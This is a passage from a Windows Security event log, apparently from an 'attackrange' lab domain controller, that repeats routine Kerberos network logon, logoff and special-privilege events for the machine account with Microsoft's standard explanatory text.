	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248911
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC9795

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248934
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB1AC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248933
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCB1AC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64081

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248932
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB1AC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248931
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB145

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248930
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCB145
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64080

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248929
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB145

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248928
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB0DB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248927
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCB0DB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64079

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248926
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB0DB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248925
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB074

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248924
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCB074
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64078

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248923
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCB074

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248946
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC4B1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248945
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCC4B1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64085

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248944
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC4B1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248943
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC437

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248942
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCC437
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64084

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248941
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC437

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248940
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC3CC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248939
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCC3CC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64083

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248938
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC3CC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248937
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC36B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248936
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCC36B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64082

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248935
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCC36B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248958
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCEEB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248957
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCCEEB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64089

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248956
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCCEEB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248955
Keywords=Audit Success
Message=An account was logged off.

Subject:
